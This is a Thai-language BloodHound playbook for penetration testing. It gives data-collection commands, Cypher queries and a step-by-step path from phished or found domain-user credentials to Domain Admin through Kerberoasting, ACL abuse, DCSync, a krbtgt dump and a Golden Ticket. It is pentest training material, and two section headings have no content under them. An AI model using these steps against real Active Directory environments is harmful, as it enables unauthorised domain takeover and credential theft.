BloodHound Playbook

1. ตั้งค่า + Collect

# เริ่ม neo4j + BloodHound
sudo neo4j start
bloodhound                          # GUI (login neo4j default neo4j:neo4j)

# Collect ด้วย SharpHound (บน Windows ที่ join domain)
.\SharpHound.exe -c All

# หรือจาก Linux (มี credential)
bloodhound-python -u user -p 'Pass' -d domain.local -ns DC_IP -c All
# ใช้ hash: --hashes :NTHASH

# ได้ .zip → ลากเข้า BloodHound GUI เพื่อ import

2. Pre-built queries (เริ่มจากนี่)

BloodHound มี Analysis queries สำเร็จรูปใน tab 'Analysis' — เริ่มจากพวกนี้เพื่อหา attack path เร็วๆ:

• Find Shortest Paths to Domain Admins — เส้นทางสั้นสุดสู่ DA (เริ่มจากนี่เสมอ)
• Find Principals with DCSync Rights — ใครทำ DCSync ได้ (→ dump krbtgt)
• Shortest Paths from Owned Principals — จากบัญชีที่เราคุม (mark owned ก่อน)
• Find Kerberoastable Accounts — เป้า Kerberoasting
• Find AS-REP Roastable Users — เป้า AS-REP
• Find Computers where Domain Users are Local Admin — เครื่องที่เข้าได้กว้าง
• Shortest Path to Unconstrained Delegation — เป้าหมายสูง

3. Custom Cypher queries

// users ที่ kerberoastable (มี SPN)
MATCH (u:User {hasspn:true}) RETURN u

// path จาก owned ไป Domain Admins
MATCH p=shortestPath((n {owned:true})-[*1..]->(g:Group))
WHERE g.name STARTS WITH "DOMAIN ADMINS" RETURN p

// ทุก edge ที่ user เรามีต่อ object อื่น
MATCH p=(u:User {name:"USER@DOMAIN"})-[r]->(n) RETURN p

// หา session ของ DA (ไปยึดเครื่องที่ DA login)
MATCH (u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN"})
MATCH (c:Computer)-[:HasSession]->(u) RETURN c,u

// computers ที่ unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c

4. อ่าน edge และ abuse

5. Workflow สู่ Domain Admin

1. 1Collect (SharpHound -c All) → import .zip
2. 2Mark บัญชีที่คุมได้เป็น Owned
3. 3รัน 'Shortest Paths from Owned to Domain Admins'
4. 4ตามแต่ละ edge ในเส้นทาง — คลิกดู Abuse Info
5. 5abuse ทีละขั้น (เช่น Kerberoast → crack → ใช้สิทธิ์ → ACL abuse)
6. 6ถึง DCSync rights → dump krbtgt → Golden Ticket (ดูหมวด AD)

6. Decision Tree — จาก BloodHound สู่ DA

6. Quick Reference

• collect: SharpHound -c All / bloodhound-python → import .zip
• เริ่ม: Mark as Owned → Shortest Paths from Owned
• pre-built: Shortest Path to DA, DCSync Rights, Kerberoastable
• edge abuse: GenericAll/WriteDacl/ForceChangePassword/HasSession
• คลิก edge → Abuse Info (คำสั่งทีละขั้น)
• เส้นทางจบที่ DCSync → krbtgt → Golden Ticket

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติมี credential ระดับ domain user ธรรมดาแล้ว (จาก phishing/found creds) มีแค่ Kali ทำตามนี้ทีละขั้นเพื่อหาทางไป Domain Admin

1. 1เช็คว่ามี bloodhound + neo4j ไหม: `bloodhound --version`, `neo4j version` (Kali มีมาให้ หรือ `sudo apt install bloodhound neo4j -y`)
2. 2เริ่ม neo4j ก่อนเสมอ: `sudo neo4j start` แล้วรอสัก 10-20 วิ ให้ database พร้อม (เช็คที่ http://localhost:7474)
3. 3ตั้ง password neo4j ครั้งแรก (ถ้ายังไม่เคยตั้ง) ผ่านหน้าเว็บ localhost:7474 (default neo4j:neo4j)
4. 4เปิด BloodHound GUI: `bloodhound` แล้ว login ด้วย neo4j + password ที่ตั้ง
5. 5เก็บข้อมูลจาก Kali (มี credential แล้ว): `bloodhound-python -u -p '' -d -ns -c All`
6. 6ถ้า error 'no such user'/auth fail → เช็ค clock skew กับ DC (`ntpdate -u `) เพราะ Kerberos ไวต่อเวลา
7. 7ได้ไฟล์ .zip → ลากเข้าหน้าต่าง BloodHound GUI เพื่อ import
8. 8ไป tab Analysis → รัน 'Shortest Paths to Domain Admins' ก่อนเสมอ
9. 9ไม่เห็นเส้นทาง → คลิกขวา node บัญชีที่เรามี credential → Mark as Owned → รัน 'Shortest Paths from Owned Principals'
10. 10เจอเส้นทาง → คลิกที่แต่ละ edge ดู tab 'Abuse Info' มีคำสั่งทีละขั้นให้เลย
11. 11ทำตาม edge ไปเรื่อยๆ จนถึง DCSync หรือ Domain Admins group